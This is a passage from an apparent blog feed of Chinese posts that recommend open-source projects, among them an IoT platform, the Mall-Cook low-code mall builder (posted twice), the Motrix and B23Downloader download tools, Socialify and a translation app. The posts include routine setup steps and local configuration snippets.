src="https://songjhh-image.oss-cn-shenzhen.aliyuncs.com/%E5%85%AC%E4%BC%97%E5%8F%B7/iShot_2022-05-21_15.00.35.png"></p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>还有太多的接口,大叔就不一一截图了,我能打保票你需要的第三方接口,在这里能够满足你 <strong>90%</strong> 以上的需求!</p><p>这绝对是一个宝藏项目,目前 Star 数也已经超过了 12K 了,感兴趣的同学还等什么呢!?</p><p>公众号后台回复<strong>「小分队」</strong>即可获取项目地址哦~</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>看看人家那物联网系统,那叫一个优雅</title>
<link href="/blog/2022/05/21/kan-kan-ren-jia-na-wu-lian-wang-xi-tong-na-jiao-yi-ge-you-ya/"/>
<url>/blog/2022/05/21/kan-kan-ren-jia-na-wu-lian-wang-xi-tong-na-jiao-yi-ge-you-ya/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸代码的开源大叔!</p><p>物联网(Internet of Things,简称IOT)是指通过各种信息传感器、红外感应器等各种装置与技术,实时采集任何需要监控、 连接、互动的物体或过程,采集其声、光、热、电、力学、化学、生物、位置等需要的信息,通过各类可能的网络接入,实现物与物、物与人的泛在连接,实现对物品和过程的智能化感知、识别和管理。</p><p>物联网的技术前景是广阔的,近些年上市的一些空气净化器产品,穿戴设备,家庭环境监控设备,智能空开,在过去是不曾有的,在目前的消费背景下,正服务着大众。</p><p>今天给大家推荐一个物联网系统项目。我第一次使用就有点上头,爱不释手,必须要推荐给大家。</p><h3 id="项目架构"><a href="#项目架构" class="headerlink" title="项目架构"></a>项目架构</h3><p>这个项目是一个基于Spring Cloud的开源的、分布式的物联网(IOT)平台,用于快速开发物联网项目和管理物联设备,是一整套物联系统解决方案。</p><p><img src="https://gitee.com/mqttsnet/thinglinks/raw/main/doc/imgs/overallArchitecture.png"></p><p>从架构图可以看到注册中心、网关、鉴权、分布式配置中心、分布式事务、熔断限流、分布式任务调度,这些功能组件都包含了,我们在使用的时候,只需要关注业务即可。</p><h3 id="技术选型"><a href="#技术选型" class="headerlink" title="技术选型"></a>技术选型</h3><ul><li>前端框架 VUE,后端采用Spring Boot、Spring Cloud Alibaba</li><li>mqtt broker 是基于 Netty 开发的 SMQTT </li><li>注册中心、分布式配置中心是 nacos</li><li>熔断限流 Sentinel</li><li>分布式事务选型 Seata</li><li>分布式调度中心 XXL-JOB</li><li>设备数据上报选用时序数据库 TDengine</li><li>文件服务器 Minio</li><li>消息队列 RocketMQ</li></ul><h3 id="项目亮点"><a href="#项目亮点" class="headerlink" title="项目亮点"></a>项目亮点</h3><ul><li>支持多协议:TCP,MQTT,UDP,CoAP,HTTP等,mqtt broker 使用的是开源的 SMQTT ,可以根据业务需要替换成其他的中间件</li><li>通过 Netty 实现 TCP 服务器,接收设备的命令与响应</li><li>灵活的规则引擎,支持 RocketMQ、MySQL、Kafaka、http节点</li><li>设备上报数据保存到时序数据库 TDengine,时序数据库是以时间为索引的规律性时间间隔记录的数据库,让大量设备、数据采集器每天产生的高达 TB 甚至 PB 级的数据能得到高效实时的处理</li><li>设备快速接入、注册、权限校验</li></ul><h3 id="核心功能"><a href="#核心功能" class="headerlink" title="核心功能"></a>核心功能</h3><p>系统管理:用户管理、角色管理、菜单管理、部门管理、岗位管理、字典管理、参数设置、通知公告、日志管理</p><p>系统监控:Sentinel控制台、Nacos控制台、Admin控制台、任务调度管理</p><p>系统工具:表单构建、代码生成、系统接口</p><p>设备集成:设备管理</p><h3 id="功能演示"><a href="#功能演示" class="headerlink" title="功能演示"></a>功能演示</h3><p><img src="https://gitee.com/mqttsnet/thinglinks/raw/main/doc/imgs/deviceIntegration/menuManagement.png"></p><p><img src="https://gitee.com/mqttsnet/thinglinks/raw/main/doc/imgs/deviceIntegration/formBuilding.png"></p><p><img src="https://gitee.com/mqttsnet/thinglinks/raw/main/doc/imgs/deviceIntegration/deviceList.png"></p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>今天给大家介绍的物联网平台,是一款高性、高吞吐量、高扩展性的物联网平台,单机可以支持百万链接,同时支持自定义扩展功能多种协议交互,支持插件化开发!我们在使用的时候,只需要完成设备上报数据的业务处理即可,心动的小伙伴,赶快去公众号后台回复【小分队】获取项目地址吧~</p>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>推荐一个yyds 低代码平台</title>
<link href="/blog/2022/05/15/tui-jian-yi-ge-yyds-ping-tai/"/>
<url>/blog/2022/05/15/tui-jian-yi-ge-yyds-ping-tai/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸代码的开源大叔!</p><p><strong>在维基百科给出了这样的定义:</strong>低代码开发平台(LCDP:Low-code development platform)A low-code development platform (LCDP) is software that provides an environment programmers use to create application software through graphical user interfaces and configuration instead of traditional computer programming.</p><p>从上面的定义可以看出,低代码平台是一种可视化的应用开发方法,用较少的代码、以较快的速度来交付应用程序,将程序员不想开发的代码做到自动化。</p><p>今天给大家推荐一个基于 vue 开发可视化商城搭建平台,支持生成H5、小程序多端商城项目 – Mall-Cook。</p><h3 id="功能简介"><a href="#功能简介" class="headerlink" title="功能简介"></a>功能简介</h3><ul><li>拖拽式生成页面</li><li>可生成 H5、小程序多端商城应用</li><li>生成商城支持屏幕适配</li><li>实时预览页面</li><li>包含多领域模板,可以手机预览模板</li><li>支持多种模块,魔方、倒计时、广告轮播、商品、新闻公告,搜锁功能等</li><li>自定义底部菜单</li></ul><h3 id="平台截图"><a href="#平台截图" class="headerlink" title="平台截图"></a>平台截图</h3><p><strong>自定义页面</strong></p><p>支持多种页面元素:魔方、倒计时、商品、图片、公告、搜索、广告轮播等等。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202205081630299.png"></p><p><strong>商品物料</strong></p><p>支持多种商品展示形式,顶部菜单和左侧菜单。各种样式、文本根据需求进行调整。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202205081638421.png"></p><p><strong>底部菜单</strong></p><p>可配置 1 至 4 个导航,菜单图标和跳转页面都可以修改。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202205081649539.png"></p><p><strong>配置商品</strong></p><p>自定义商品分组,目前支持两级分组。</p><p><img src="C:\Users\zys\AppData\Roaming\Typora\typora-user-images\image-20220508165650196.png"></p><p><strong>配置商品</strong></p><p>可以配置商品标题、商品封面、价格、商品详情等属性。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202205081708709.png"></p><p>看下最终效果</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202205081717551.png"></p><h3 id="项目使用"><a href="#项目使用" class="headerlink" title="项目使用"></a>项目使用</h3><p>在 clone 项目源码之后先安装对应依赖,在对应工程目录里执行下载依赖</p><p><strong>项目结构</strong></p><pre class=" language-javascript"><code class="language-javascript">mall<span class="token operator">-</span>cook <span class="token comment" spellcheck="true">// 项目仓库 (必须下载依赖)</span>├─ packages│ ├─ mall<span class="token operator">-</span>cook<span class="token operator">-</span>platform <span class="token comment" spellcheck="true">// 搭建平台 (必须下载依赖)</span>│ ├─ mall<span class="token operator">-</span>cook<span class="token operator">-</span>template <span class="token comment" spellcheck="true">// 渲染引擎 (必须下载依赖)</span>│ ├─ mall<span class="token operator">-</span>cook<span class="token operator">-</span>document <span class="token comment" spellcheck="true">// 文档 (如需使用需下载依赖)</span>│ ├─ mall<span class="token operator">-</span>cook<span class="token operator">-</span>service <span class="token comment" spellcheck="true">// 后端服务 (如需使用需下载依赖)</span>├─ scripts└─ <span class="token keyword">package</span><span class="token punctuation">.</span>json</code></pre><p><strong>项目仓库安装依赖</strong></p><pre class=" language-bash"><code class="language-bash"><span class="token function">npm</span> <span class="token function">install</span></code></pre><p><strong>单独项目安装依赖</strong></p><pre class=" language-bash"><code class="language-bash"><span class="token function">cd</span> 进对应项目目录<span class="token function">npm</span> <span class="token function">install</span></code></pre><p><strong>修改配置文件</strong></p><p>packages/mall-cook-platform/src/config/global.js</p><pre class=" language-javascript"><code class="language-javascript"><span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> baseApi<span class="token punctuation">:</span> <span class="token string">'https://127.0.0.1:3000/node/'</span><span class="token punctuation">,</span> <span class="token comment" spellcheck="true">// 后端接口地址</span> viewUrl<span class="token punctuation">:</span> <span class="token string">'http://127.0.0.1:9000/#/'</span> <span class="token comment" spellcheck="true">// iframe嵌套的H5地址,本地开发可改为本地启动的H5地址</span><span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><p><strong>运行项目</strong></p><pre class=" language-bash"><code class="language-bash"><span class="token function">npm</span> run dev</code></pre><p><img src="http://110.42.184.128:7000/start.png"></p><p>node服务,启动之前要修改 mogodb 地址。</p><pre class=" language-javascript"><code class="language-javascript">config <span class="token operator">=</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> appid<span class="token punctuation">:</span> <span class="token string">'xxx'</span><span class="token punctuation">,</span> <span class="token comment" spellcheck="true">// 小程序appId</span> secret<span class="token punctuation">:</span> <span class="token string">'xxx'</span><span class="token punctuation">,</span> <span class="token comment" spellcheck="true">// 小程序secret</span> serviceApi<span class="token punctuation">:</span> <span class="token string">'http://127.0.0.1:3000'</span><span class="token punctuation">,</span> <span class="token comment" spellcheck="true">// 服务器地址</span> mongodbUrl<span class="token punctuation">:</span> <span class="token string">'mongodb://localhost:27017/mall-cook'</span> <span class="token comment" spellcheck="true">// mongodb数据库地址 格式:mongodb://username:password@host:port/name</span><span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span>module<span class="token punctuation">.</span>exports <span class="token operator">=</span> config</code></pre><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>Mall-Cook 通过拖拽的方式,即可构建一个应用,能够实现业务应用的快速交付,能够降低业务应用的开发成本。感兴趣的同学在公众号后台回复【小分队】获取开源项目地址吧。</p>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>全能下载工具,真牛逼!</title>
<link href="/blog/2022/05/15/quan-neng-xia-zai-gong-ju-zhen-niu-bi/"/>
<url>/blog/2022/05/15/quan-neng-xia-zai-gong-ju-zhen-niu-bi/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>最近公众号改版了,大家记得星标<code>开源小分队</code>,第一时间收到我们优质内容的更新!</p><p>今天大叔给大家推荐一个给力的全能下载工具 - Motrix。</p><p><img src="https://files.mdnice.com/user/20902/49f6f61f-bbcb-4c58-be4a-f8e075ff2906.png"></p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p>Motrix 是一款开源免费的下载工具,支持下载 HTTP、FTP、BT、磁力链接、百度云网盘等资源,可以说是非常的全能,而且无广告。</p><p>基于 Electron + Vue + VueX + Element + Aria2 等技术编写。因为采用了「Aria 2」作为核心,所以下载速度、多线程等能力非常不错。</p><p><img src="https://files.mdnice.com/user/20902/8c300a49-c404-464b-a6e3-6457a1ac0fbf.png"></p><p>它还有着很多其他的特性:</p><p><img src="https://files.mdnice.com/user/20902/d5b1b046-c098-4614-b49d-bc72117384c9.png"></p><h2 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h2><p>官方已经给出了win、linux、mac的安装方法,根据自己电脑环境选择对应的安装包即可。</p><p><img src="https://files.mdnice.com/user/20902/7d00bbcb-72d8-4f03-a5d8-d4b93604ba80.png"></p><p>对于win系统的话,官方建议使用安装包(Motrix-Setup-x.y.z.exe)进行安装,这样的话,诸如关联 torrent 文件,捕获磁力链功能可以完美体验到。</p><h2 id="使用体验"><a href="#使用体验" class="headerlink" title="使用体验"></a>使用体验</h2><p>工具界面非常简约。使用很简单,点击左侧+,输入要下载的地址即可。</p><p><img src="https://files.mdnice.com/user/20902/be1e972d-b1c8-42f7-8cb4-a7bc273c5820.png"></p><p>基础设置</p><p><img src="https://files.mdnice.com/user/20902/8696640c-6bc5-4461-baa7-12f75d87f5ff.png"></p><p>有深色与浅色两种外观主题,能根据系统自动切换主题。</p><p><img src="https://files.mdnice.com/user/20902/c9d70f30-7c8a-41c0-a99d-5587337a70d1.png"></p><p>这样一款优秀的开源下载工具,不仅美观好用而且免费。作者还把源代码在 Github 上开源了,star 也高达近 32k。</p><p>要是喜欢的朋友可以公众号后台回复 <strong>“小分队”</strong> 去体验试用一下把~~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>终于找到B站这个工具了,真香!</title>
<link href="/blog/2022/05/15/zhong-yu-zhao-dao-b-zhan-zhe-ge-gong-ju-liao-zhen-xiang/"/>
<url>/blog/2022/05/15/zhong-yu-zhao-dao-b-zhan-zhe-ge-gong-ju-liao-zhen-xiang/</url>
<content type="html"><![CDATA[<p>大家好,我是美丽可爱的开源小妹!</p><p>最近公众号改版了,大家记得星标<code>开源小分队</code>,第一时间收到我们优质内容的更新!</p><p>B站这个宝库网站,想必有很多小伙伴每天都在上面学习、划水娱乐吧~~</p><p>今天给大家推荐一个可以下载B站视频、直播、漫画的开源项目 - <code>B23Downloader</code>,重点是 能看 = 能下载,真的是个好工具。</p><p>目前收获了 2K+ Star,如果经常使用B站的话,建议你收藏这个开源项目。</p><p><img src="https://files.mdnice.com/user/20902/b122d51b-9a41-4760-82f5-f56144d4caf0.png"></p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p><img src="https://files.mdnice.com/user/20902/cfadeabe-58fd-4b6a-8320-a3f12c7ca429.png"></p><p>B23Downloader 基于 Qt 6 (C++ 17) 开发,遵守GPL开源协议。<br>Release 中只有 Windows 64-bit 的版本,但是在其他桌面平台的话可以编译使用。</p><p>工具界面如下,非常简洁。<br><img src="https://files.mdnice.com/user/20902/0df185b1-f304-47bc-8a19-f1208a95313f.png"></p><h2 id="工具使用"><a href="#工具使用" class="headerlink" title="工具使用"></a>工具使用</h2><h3 id="视频类"><a href="#视频类" class="headerlink" title="视频类"></a>视频类</h3><p>使用也很简单,将视频网址复制到右上角的输入框,点击下载按钮即可。</p><p>该工具就能自动获取视频信息,选择合适的画质和保存路径,点击下载即可了。画质支持4K超清、1080高清等</p><p><img src="https://files.mdnice.com/user/20902/ec0a26c7-74fa-47d1-ab75-6e6b833dfc15.png"></p><p>如果网址里面有多个视频的话,工具也是可以自动识别出来,可以自由选择下载。</p><p><img src="https://files.mdnice.com/user/20902/9905ebbc-4f66-4dac-9346-fe07eb9a75e6.png"></p><h3 id="漫画"><a href="#漫画" class="headerlink" title="漫画"></a>漫画</h3><p>漫画下载也是一样的,只不过漫画是一页一页下载的。</p><p><img src="https://files.mdnice.com/user/20902/5705963d-0e66-4742-8fba-8d2444ef7b0f.png"></p><p>如上图,82 最终话 将下载为 E:/tmp/恋如雨止 82 最终话/01.jpg - 32.jpg(32 张图片)。</p><p>这里需要注意,如果<strong>删除漫画下载任务会粗暴地删除整个文件夹。</strong></p><h3 id="直播"><a href="#直播" class="headerlink" title="直播"></a>直播</h3><p>直播下载是这个工具的一个亮点,操作的话也是同样地简单。</p><p><img src="https://files.mdnice.com/user/20902/94cc16d2-cb0a-4c46-afdb-9abf5af7161d.png"></p><p>关于直播下载的一些策略和方式呢,项目作者也是说的很详细,很贴心。</p><p><img src="https://files.mdnice.com/user/20902/717deb9d-252c-43fd-89bb-f9b8412ae003.png"></p><h3 id="登录"><a href="#登录" class="headerlink" title="登录"></a>登录</h3><p>有一些视频是「B 站大会员」才可以观看的,界面左上方的还提供了「登录」按钮,直接使用扫码登录,保证了安全性。</p><p><img src="https://files.mdnice.com/user/20902/92ca39dc-68fb-4722-9796-df1ebac2af05.png"></p><p>关于这个项目的更多功能,大家自己查阅下项目资料,公众号后台回复 <strong>“小分队”</strong> 获取地址研究学习吧~~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>不会PS也没关系!一键生成精美的GitHub推广图!!</title>
<link href="/blog/2022/05/12/bu-hui-ps-ye-mei-guan-xi-yi-jian-sheng-cheng-jing-mei-de-github-tui-guang-tu/"/>
<url>/blog/2022/05/12/bu-hui-ps-ye-mei-guan-xi-yi-jian-sheng-cheng-jing-mei-de-github-tui-guang-tu/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸代码的开源大叔。<br>这段时间给大家介绍了那么多的开源项目,不知小伙伴们有没有发现,这些优秀的开源项目的 ReadMe 文档都非常精美。</p><p>一个优秀的 ReadMe 文档能够大大的吸引人们的注意力,其中一张优秀的项目推广图就是打头阵的重中之重了!</p><p>今天大叔给大家介绍的就是一款一键自动生成推广图的项目:<em>Socialify</em></p><h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><hr><p>Socialify 是一个 TypeScript 编写的项目,为的就是帮助广大不会 PS 图片的程序员们,制作一款优秀的项目推广图。</p><p>例如:<br><img src="https://socialify.git.ci/songjhh/songjhh_blog/image?description=1&font=Inter&forks=1&issues=1&language=1&name=1&owner=1&pulls=1&stargazers=1&theme=Light" alt="songjhh_blog"></p><p>可以看到项目名称、Logo、Stars 数、Forks 数、问题数和 Pull Requests 数等,清晰美观!</p><p>而且更棒的是,这些数据是实时动态的获取的,无需自己手动维护这些数字,天天看着自己增长,也是非常有成就感的事!</p><h1 id="用法"><a href="#用法" class="headerlink" title="用法"></a>用法</h1><hr><p>进入项目后,可以设置:</p><ul><li>主题<ul><li>亮主题</li><li>暗主题</li></ul></li><li>字体<ul><li>提供 6 种美观的字体</li></ul></li><li>背景样式</li><li>Logo 地址</li><li>是否显示 Owner</li><li>是否显示该项目的编程语言</li><li>是否显示 Fork 数</li><li>是否显示 Stars 数</li><li>是否显示 Issues 数</li><li>是否显示 Pull Requests 数</li><li>是否显示项目的描述</li></ul><p><img src="https://songjhh-image.oss-cn-shenzhen.aliyuncs.com/%E5%85%AC%E4%BC%97%E5%8F%B7/c28e42a0-113b-4071-9038-e6a45e08e20c.png"></p><h1 id="多样背景"><a href="#多样背景" class="headerlink" title="多样背景"></a>多样背景</h1><hr><p>Socialify 还提供了不少的背景主题,给用户提供了多元化的展示需求,让自己的图片不再千篇一律!</p><p>比如工具类项目可以用<strong>齿轮</strong>的背景:</p><p><img src="https://socialify.git.ci/songjhh/songjhh_blog/image?font=Inter&issues=1&language=1&name=1&owner=1&pattern=Floating%20Cogs&stargazers=1&theme=Light"></p><p>还有<strong>波浪型</strong>的背景可以让你的背景更加活泼:</p><p><img src="https://socialify.git.ci/songjhh/songjhh_blog/image?font=Inter&issues=1&language=1&name=1&owner=1&pattern=Formal%20Invitation&stargazers=1&theme=Light"></p><h1 id="导出"><a href="#导出" class="headerlink" title="导出"></a>导出</h1><hr><p>Socialify 还提供多种导出的功能:</p><ul><li>下载图片</li><li>复制图片 URL</li><li>复制 Markdown 格式片段</li><li>复制 HTML 格式片段<br><img src="https://songjhh-image.oss-cn-shenzhen.aliyuncs.com/%E5%85%AC%E4%BC%97%E5%8F%B7/aff5f7d5-1b2f-4056-b77b-8ffcc6176c3e.png"></li></ul><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><hr><p>每当看到优秀的 ReadMe 文档时,总会对该项目有种莫名的信任,如果你也有装饰自己的 ReadMe 文档的需求,赶快来试试 Socialify 吧!</p><p>如果你也有装饰自己的 ReadMe 文档的需求,那就赶快来试试 Socialify 吧!</p><p>公众号后台回复「小分队」即可获取项目地址哦~</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>翻译软件之最,牛到不行!</title>
<link href="/blog/2022/05/12/fan-yi-ruan-jian-zhi-zui-niu-dao-bu-xing/"/>
<url>/blog/2022/05/12/fan-yi-ruan-jian-zhi-zui-niu-dao-bu-xing/</url>
<content type="html"><![CDATA[<p>大家好,我是机灵的开源小妹!<br>作为英语渣的我,在翻看英语相关博客文献时常很吃力,用默认的翻译时常有不好使,经常都需要几个翻译引擎来回切换,严重影响效率啊~身为程序媛怎么能做这种重复费劲的事情。于是乎刷起了GitHub 发现一款很牛的开源软件 <strong>比译</strong>。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>比译是一款非常便捷的翻译软件和词典,支持划词、截图翻译、多结果显示,目前可以接入 10 多个服务商提供的翻译及词典服务,作者也在不断的迭代中,很是良心~<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202205/202205121437551.png"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202205/202205121437990.png"></p><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><h3 id="下载安装"><a href="#下载安装" class="headerlink" title="下载安装"></a>下载安装</h3><p>去官网下载完,安装完后,打开可以看到一个小窗口<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202205/202205121437777.png"></p><h3 id="快捷使用"><a href="#快捷使用" class="headerlink" title="快捷使用"></a>快捷使用</h3><p>随便找个页面,选择中英文句子,按下 alt + Q 或按下 alt+ W 后截取屏幕区域<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202205/202205121437196.gif"></p><h3 id="添加翻译源"><a href="#添加翻译源" class="headerlink" title="添加翻译源"></a>添加翻译源</h3><p>如果要添加其他翻译源,则右上角的设置按钮-》文本翻译-》私有-》添加<br>有个前提是需要去对应的翻译引擎网站注册账号,获取对应的密匙秘钥才能接入成功,不同引擎要求不一样。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202205/202205081057366.gif"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>怎么样,比译是不是简洁无广告的良心翻译词典工具,目前也还在不断迭代中,期待该开源项目变得更好。快去公众号后台回复「小分队」获取开源项目地址吧。</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>震惊!用一天时间开发了一个应用</title>
<link href="/blog/2022/05/08/zhen-liang-yong-yi-tian-shi-jian-kai-fa-liao-yi-ge-ying-yong/"/>
<url>/blog/2022/05/08/zhen-liang-yong-yi-tian-shi-jian-kai-fa-liao-yi-ge-ying-yong/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸代码的开源大叔!</p><p><strong>在维基百科给出了这样的定义:</strong>低代码开发平台(LCDP:Low-code development platform)A low-code development platform (LCDP) is software that provides an environment programmers use to create application software through graphical user interfaces and configuration instead of traditional computer programming.</p><p>从上面的定义可以看出,低代码平台是一种可视化的应用开发方法,用较少的代码、以较快的速度来交付应用程序,将程序员不想开发的代码做到自动化。</p><p>今天给大家推荐一个基于 vue 开发可视化商城搭建平台,支持生成H5、小程序多端商城项目 – Mall-Cook。</p><h3 id="功能简介"><a href="#功能简介" class="headerlink" title="功能简介"></a>功能简介</h3><ul><li>拖拽式生成页面</li><li>可生成 H5、小程序多端商城应用</li><li>生成商城支持屏幕适配</li><li>实时预览页面</li><li>包含多领域模板,可以手机预览模板</li><li>支持多种模块,魔方、倒计时、广告轮播、商品、新闻公告,搜锁功能等</li><li>自定义底部菜单</li></ul><h3 id="平台截图"><a href="#平台截图" class="headerlink" title="平台截图"></a>平台截图</h3><p><strong>自定义页面</strong></p><p>支持多种页面元素:魔方、倒计时、商品、图片、公告、搜索、广告轮播等等。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202205081630299.png"></p><p><strong>商品物料</strong></p><p>支持多种商品展示形式,顶部菜单和左侧菜单。各种样式、文本根据需求进行调整。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202205081638421.png"></p><p><strong>底部菜单</strong></p><p>可配置 1 至 4 个导航,菜单图标和跳转页面都可以修改。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202205081649539.png"></p><p><strong>配置商品</strong></p><p>自定义商品分组,目前支持两级分组。</p><p><img src="C:\Users\zys\AppData\Roaming\Typora\typora-user-images\image-20220508165650196.png"></p><p><strong>配置商品</strong></p><p>可以配置商品标题、商品封面、价格、商品详情等属性。</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202205081708709.png"></p><p>看下最终效果</p><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202205081717551.png"></p><h3 id="项目使用"><a href="#项目使用" class="headerlink" title="项目使用"></a>项目使用</h3><p>在 clone 项目源码之后先安装对应依赖,在对应工程目录里执行下载依赖</p><p><strong>项目结构</strong></p><pre class=" language-javascript"><code class="language-javascript">mall<span class="token operator">-</span>cook <span class="token comment" spellcheck="true">// 项目仓库 (必须下载依赖)</span>├─ packages│ ├─ mall<span class="token operator">-</span>cook<span class="token operator">-</span>platform <span class="token comment" spellcheck="true">// 搭建平台 (必须下载依赖)</span>│ ├─ mall<span class="token operator">-</span>cook<span class="token operator">-</span>template <span class="token comment" spellcheck="true">// 渲染引擎 (必须下载依赖)</span>│ ├─ mall<span class="token operator">-</span>cook<span class="token operator">-</span>document <span class="token comment" spellcheck="true">// 文档 (如需使用需下载依赖)</span>│ ├─ mall<span class="token operator">-</span>cook<span class="token operator">-</span>service <span class="token comment" spellcheck="true">// 后端服务 (如需使用需下载依赖)</span>├─ scripts└─ <span class="token keyword">package</span><span class="token punctuation">.</span>json</code></pre><p><strong>项目仓库安装依赖</strong></p><pre class=" language-bash"><code class="language-bash"><span class="token function">npm</span> <span class="token function">install</span></code></pre><p><strong>单独项目安装依赖</strong></p><pre class=" language-bash"><code class="language-bash"><span class="token function">cd</span> 进对应项目目录<span class="token function">npm</span> <span class="token function">install</span></code></pre><p><strong>修改配置文件</strong></p><p>packages/mall-cook-platform/src/config/global.js</p><pre class=" language-javascript"><code class="language-javascript"><span class="token keyword">export</span> <span class="token keyword">default</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> baseApi<span class="token punctuation">:</span> <span class="token string">'https://127.0.0.1:3000/node/'</span><span class="token punctuation">,</span> <span class="token comment" spellcheck="true">// 后端接口地址</span> viewUrl<span class="token punctuation">:</span> <span class="token string">'http://127.0.0.1:9000/#/'</span> <span class="token comment" spellcheck="true">// iframe嵌套的H5地址,本地开发可改为本地启动的H5地址</span><span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><p><strong>运行项目</strong></p><pre class=" language-bash"><code class="language-bash"><span class="token function">npm</span> run dev</code></pre><p><img src="http://110.42.184.128:7000/start.png"></p><p>node服务,启动之前要修改 mogodb 地址。</p><pre class=" language-javascript"><code class="language-javascript">config <span class="token operator">=</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> appid<span class="token punctuation">:</span> <span class="token string">'xxx'</span><span class="token punctuation">,</span> <span class="token comment" spellcheck="true">// 小程序appId</span> secret<span class="token punctuation">:</span> <span class="token string">'xxx'</span><span class="token punctuation">,</span> <span class="token comment" spellcheck="true">// 小程序secret</span> serviceApi<span class="token punctuation">:</span> <span class="token string">'http://127.0.0.1:3000'</span><span class="token punctuation">,</span> <span class="token comment" spellcheck="true">// 服务器地址</span> mongodbUrl<span class="token punctuation">:</span> <span class="token string">'mongodb://localhost:27017/mall-cook'</span> <span class="token comment" spellcheck="true">// mongodb数据库地址 格式:mongodb://username:password@host:port/name</span><span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span>module<span class="token punctuation">.</span>exports <span class="token operator">=</span> config</code></pre><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>Mall-Cook 通过拖拽的方式,即可构建一个应用,能够实现业务应用的快速交付,能够降低业务应用的开发成本。感兴趣的同学在公众号后台回复【小分队】获取开源项目地址吧。</p>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>还在重复写常用的工具类?</title>
<link href="/blog/2022/04/30/huan-zai-chong-fu-xie-chang-yong-de-gong-ju-lei/"/>
<url>/blog/2022/04/30/huan-zai-chong-fu-xie-chang-yong-de-gong-ju-lei/</url>
